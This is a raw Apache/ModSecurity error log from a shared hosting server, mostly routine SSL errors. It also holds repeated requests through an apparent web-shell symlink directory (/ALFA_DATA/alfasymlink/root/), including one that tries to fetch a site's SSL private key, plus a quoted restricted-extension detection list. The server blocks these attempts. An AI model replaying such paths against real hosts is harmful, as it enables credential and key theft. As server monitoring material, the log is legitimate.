[Sun Oct 25 06:26:55.265654 2026] [security2:error] [pid 2806345:tid 2806345] [client 85.208.96.193:40718] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/e4ed1_e1dd5_16b6d316ee797c578da2de308ebfd946.key"] [unique_id "at3Zb0XTOYRMtW9O7Qy2vAAAAAI"]
[Sun Oct 25 06:26:55.266056 2026] [security2:error] [pid 2806345:tid 2806345] [client 85.208.96.193:40718] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/e4ed1_e1dd5_16b6d316ee797c578da2de308ebfd946.key"] [unique_id "at3Zb0XTOYRMtW9O7Qy2vAAAAAI"]
[Sun Oct 25 06:26:55.266364 2026] [security2:error] [pid 2806345:tid 2806345] [client 85.208.96.193:40718] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/e4ed1_e1dd5_16b6d316ee797c578da2de308ebfd946.key"] [unique_id "at3Zb0XTOYRMtW9O7Qy2vAAAAAI"]
[Sun Oct 25 06:27:02.770931 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 23.23.103.31:10554] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:27:06.864973 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 54.147.238.89:65289] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:27:14.845527 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 100.28.57.133:16904] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:27:18.887236 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 35.174.141.243:27067] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:27:22.777231 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 52.54.15.103:65110] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:27:38.614336 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 44.213.36.21:44519] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:27:42.802967 2026] [ssl:error] [pid 2815608:tid 2815608] (70014)End of file found: [client 52.0.218.219:18017] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:27:54.509549 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 44.220.2.97:7788] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:28:00.914401 2026] [security2:error] [pid 2815608:tid 2815608] [client 43.161.233.190:32796] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/scrapeproxiesok.php"] [unique_id "at3ZsCK0zo25roaoS0zXqAAAABY"]
[Sun Oct 25 06:28:02.534032 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 98.82.63.147:24612] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:28:06.411590 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 98.82.38.120:4009] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:28:14.400866 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 44.221.37.41:43111] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:28:26.489503 2026] [core:error] [pid 2815605:tid 2815605] (13)Permission denied: [client 184.73.239.35:5728] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory6/node0/cpu1/driver/unbind
[Sun Oct 25 06:28:30.219042 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 52.204.174.139:44497] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:28:31.274567 2026] [security2:error] [pid 2800259:tid 2800259] [client 43.133.187.11:37170] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "parkeranders.com"] [uri "/"] [unique_id "at3Zz72dQNaDuK1aHdolxgAAAAs"]
[Sun Oct 25 06:28:42.207945 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 3.94.156.104:4328] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:28:46.207369 2026] [core:error] [pid 2815596:tid 2815596] (13)Permission denied: [client 52.204.253.129:59520] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:02/subsystem/devices/PNP0A03:00/QEMU0002:00/physical_node/driver/unbind
[Sun Oct 25 06:28:50.208060 2026] [core:error] [pid 2815605:tid 2815605] (13)Permission denied: [client 54.197.178.107:62664] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/firmware_node/physical_node/rescan
[Sun Oct 25 06:28:54.194830 2026] [ssl:error] [pid 2815599:tid 2815599] (5)Input/output error: [client 52.4.213.199:48276] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:28:58.209818 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 50.19.102.70:58796] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:29:18.180576 2026] [core:error] [pid 2815602:tid 2815602] (13)Permission denied: [client 18.232.12.157:57420] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/devices/virtual/input/mice/subsystem/input3/device/subsystem/drivers/atkbd/unbind
[Sun Oct 25 06:29:30.181394 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 34.238.45.183:25011] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:29:38.287237 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 54.225.148.123:1285] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:29:50.174316 2026] [ssl:error] [pid 2815601:tid 2815601] (70014)End of file found: [client 52.200.58.199:40478] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:30:02.193448 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 52.22.87.224:52091] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:30:06.270138 2026] [ssl:error] [pid 2815608:tid 2815608] (70014)End of file found: [client 107.23.62.75:14193] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:30:10.185944 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 50.17.193.48:37154] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:30:14.435548 2026] [ssl:error] [pid 2815601:tid 2815601] (70014)End of file found: [client 18.214.124.6:49315] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:30:18.452391 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 98.80.130.239:10561] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:30:26.183777 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 3.215.221.125:40718] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:30:44.355889 2026] [core:error] [pid 2815606:tid 2815606] (13)Permission denied: [client 185.191.171.17:18516] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_extent_status/poison
[Sun Oct 25 06:30:58.174914 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 3.220.148.166:51053] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:31:02.201112 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 18.214.124.6:16451] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:31:06.162059 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 100.29.155.89:27857] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:31:10.156550 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 52.0.218.219:23516] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:31:22.340307 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 185.191.171.11:50866] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:31:30.234182 2026] [core:error] [pid 2815606:tid 2815606] (13)Permission denied: [client 34.192.67.98:65220] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:01/PNP0303:00/physical_node1/driver/uevent
[Sun Oct 25 06:31:34.228663 2026] [ssl:error] [pid 2815601:tid 2815601] (70014)End of file found: [client 54.80.185.200:40302] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:31:50.289299 2026] [ssl:error] [pid 2815608:tid 2815608] (70014)End of file found: [client 54.156.55.147:47222] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:31:54.176543 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 3.215.59.93:7191] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:32:02.170858 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 50.17.193.48:11565] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:32:10.154991 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 52.204.174.139:8721] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:32:14.314025 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 54.235.172.96:40456] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:32:18.156160 2026] [ssl:error] [pid 2806345:tid 2806345] (5)Input/output error: [client 54.90.8.255:5642] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:32:22.177524 2026] [core:error] [pid 2815602:tid 2815602] (13)Permission denied: [client 3.210.114.189:29393] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/ptmx/subsystem/ttyS1/line
[Sun Oct 25 06:32:26.272005 2026] [ssl:error] [pid 2815608:tid 2815608] (70014)End of file found: [client 52.44.148.203:22414] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:32:30.183205 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 100.28.57.133:50905] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:32:42.158628 2026] [ssl:error] [pid 2815601:tid 2815601] (70014)End of file found: [client 54.89.90.224:46632] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:32:46.195757 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 44.221.105.234:51426] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:32:50.160040 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 18.233.24.238:35968] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:32:54.168213 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 35.173.18.61:24565] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:32:58.196967 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 23.21.228.180:42736] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:33:02.151746 2026] [ssl:error] [pid 2815599:tid 2815599] (5)Input/output error: [client 100.28.57.133:44463] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:33:06.169198 2026] [ssl:error] [pid 2815601:tid 2815601] (70014)End of file found: [client 18.215.49.176:53104] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:33:18.158193 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 3.222.85.38:27193] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:33:22.359128 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 44.195.145.102:31326] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:33:26.169204 2026] [core:error] [pid 2815596:tid 2815596] (13)Permission denied: [client 35.168.238.50:65267] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:02.0/resource0_wc
[Sun Oct 25 06:33:30.163890 2026] [ssl:error] [pid 2815608:tid 2815608] (70014)End of file found: [client 18.214.124.6:39227] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:33:34.148968 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 52.4.238.8:60852] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:33:36.792130 2026] [core:error] [pid 2806348:tid 2806348] (13)Permission denied: [client 185.191.171.3:54142] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hugetlbfs_inode_cache/objects_partial
[Sun Oct 25 06:33:42.191432 2026] [ssl:error] [pid 2815596:tid 2815596] (70014)End of file found: [client 34.194.165.45:32070] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:33:54.348996 2026] [core:error] [pid 2815606:tid 2815606] (13)Permission denied: [client 3.217.171.106:1359] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/virtio-pci/new_id
[Sun Oct 25 06:34:02.316252 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 23.21.148.226:15146] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:34:10.166463 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 52.3.26.180:37603] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:34:14.315468 2026] [ssl:error] [pid 2815596:tid 2815596] (70014)End of file found: [client 54.85.126.86:1113] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:34:18.163032 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 18.215.77.19:9776] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:34:26.205568 2026] [ssl:error] [pid 2815601:tid 2815601] (70014)End of file found: [client 3.210.223.61:39572] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:34:42.164075 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 54.147.238.89:27493] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:34:46.173127 2026] [ssl:error] [pid 2815596:tid 2815596] (70014)End of file found: [client 52.2.191.202:48134] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:34:47.137538 2026] [core:error] [pid 2815608:tid 2815608] (13)Permission denied: [client 85.208.96.209:25700] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fanotify_perm_event/sanity_checks
[Sun Oct 25 06:34:50.139183 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 54.225.148.123:60006] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:34:55.882620 2026] [core:error] [pid 2815605:tid 2815605] (13)Permission denied: [client 85.208.96.206:36280] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/xfrm_state/objects
[Sun Oct 25 06:35:02.170511 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 50.19.221.48:7703] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:35:18.376738 2026] [ssl:error] [pid 2815606:tid 2815606] (5)Input/output error: [client 3.208.146.193:62867] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:35:22.161363 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 44.207.207.36:29255] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:35:22.775292 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 185.191.171.10:24120] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:35:30.147526 2026] [ssl:error] [pid 2815596:tid 2815596] (70014)End of file found: [client 54.83.240.58:17165] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:35:34.141619 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 44.223.116.149:61600] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:35:42.176075 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 100.29.63.24:59202] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:35:54.281399 2026] [authz_core:error] [pid 2815602:tid 2815602] [client 46.225.125.150:39570] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 06:36:02.268213 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 3.225.9.97:3545] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:36:10.149309 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 52.6.232.201:14176] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:36:14.169201 2026] [core:error] [pid 2815601:tid 2815601] (13)Permission denied: [client 44.212.145.46:61845] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/devices/virtual/input/mice/subsystem/input3/device/subsystem/drivers/atkbd/uevent
[Sun Oct 25 06:36:18.161455 2026] [core:error] [pid 2806348:tid 2806348] (13)Permission denied: [client 34.235.239.240:13051] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0400:00/subsystem/devices/PNP0A03:00/device:03/physical_node/resource0_wc
[Sun Oct 25 06:36:22.158157 2026] [core:error] [pid 2815605:tid 2815605] (13)Permission denied: [client 54.85.126.86:50290] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory13/node0/memory13/subsystem/uevent
[Sun Oct 25 06:36:34.143442 2026] [ssl:error] [pid 2815596:tid 2815596] (70014)End of file found: [client 44.194.134.53:41905] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:36:38.165497 2026] [ssl:error] [pid 2815608:tid 2815608] (70014)End of file found: [client 52.73.142.41:32197] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:36:46.151546 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 18.209.201.119:45261] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:36:50.161987 2026] [security2:error] [pid 2815605:tid 2815605] [client 52.23.112.144:62317] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/firmware_node/wakeup/wakeup4/device/"] [unique_id "at3bwgYPMfHr0EMMDlnkiAAAABM"]
[Sun Oct 25 06:36:50.162042 2026] [security2:error] [pid 2815605:tid 2815605] [client 52.23.112.144:62317] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/firmware_node/wakeup/wakeup4/device/"] [unique_id "at3bwgYPMfHr0EMMDlnkiAAAABM"]
[Sun Oct 25 06:36:50.652034 2026] [security2:error] [pid 2806348:tid 2806348] [client 102.216.75.234:51868] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "at3bwg-YVEbWS5meiuhh3gAAAAw"], referer: https://acquire.co.in/redirect.php?ref_host=cosmetichairreplacement.com
[Sun Oct 25 06:36:50.653303 2026] [authz_core:error] [pid 2806348:tid 2806348] [client 102.216.75.234:51868] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini, referer: https://acquire.co.in/redirect.php?ref_host=cosmetichairreplacement.com
[Sun Oct 25 06:36:58.152837 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 98.82.214.73:22396] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:36:58.573556 2026] [core:error] [pid 2815596:tid 2815596] (13)Permission denied: [client 185.191.171.15:16210] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/cred_jar/hwcache_align
[Sun Oct 25 06:37:00.699303 2026] [ssl:error] [pid 2815608:tid 2815608] (70014)End of file found: [client 185.191.171.19:11118] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:37:02.180413 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 54.83.23.103:41082] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:37:10.152512 2026] [core:error] [pid 2815606:tid 2815606] (13)Permission denied: [client 52.2.4.213:8527] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:16/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/resource0
[Sun Oct 25 06:37:14.249059 2026] [ssl:error] [pid 2815601:tid 2815601] (70014)End of file found: [client 18.233.24.238:18560] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:37:18.144265 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 52.45.15.233:42119] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:37:26.270219 2026] [core:error] [pid 2815602:tid 2815602] (13)Permission denied: [client 34.202.88.37:41309] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0303:00/physical_node1/wakeup/wakeup10/subsystem/wakeup9/device/resource4
[Sun Oct 25 06:37:30.163473 2026] [core:error] [pid 2815608:tid 2815608] (13)Permission denied: [client 34.202.88.37:10421] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/device:03/physical_node/resource0
[Sun Oct 25 06:37:30.163939 2026] [security2:error] [pid 2815608:tid 2815608] [client 34.202.88.37:10421] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/device:03/physical_node/resource0"] [unique_id "at3b6iK0zo25roaoS0zXvAAAABY"]
[Sun Oct 25 06:37:30.163973 2026] [security2:error] [pid 2815608:tid 2815608] [client 34.202.88.37:10421] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/device:03/physical_node/resource0"] [unique_id "at3b6iK0zo25roaoS0zXvAAAABY"]
[Sun Oct 25 06:37:34.148401 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 18.214.186.220:6947] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:37:42.153775 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 50.19.102.70:47829] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:37:43.740653 2026] [security2:error] [pid 2806348:tid 2806348] [client 43.134.15.174:56674] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/0000-00-00"] [unique_id "at3b9w-YVEbWS5meiuhh4AAAAAw"]
[Sun Oct 25 06:37:46.151396 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 3.93.98.99:3211] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:38:10.242616 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 34.239.85.139:21957] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:38:14.146395 2026] [core:error] [pid 2806348:tid 2806348] (13)Permission denied: [client 18.213.240.226:2994] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/device:01/PNP0303:00/physical_node1/driver/uevent
[Sun Oct 25 06:38:26.149183 2026] [ssl:error] [pid 2815608:tid 2815608] (70014)End of file found: [client 3.94.40.182:21913] AH02013: coalesce failed to read from data bucket
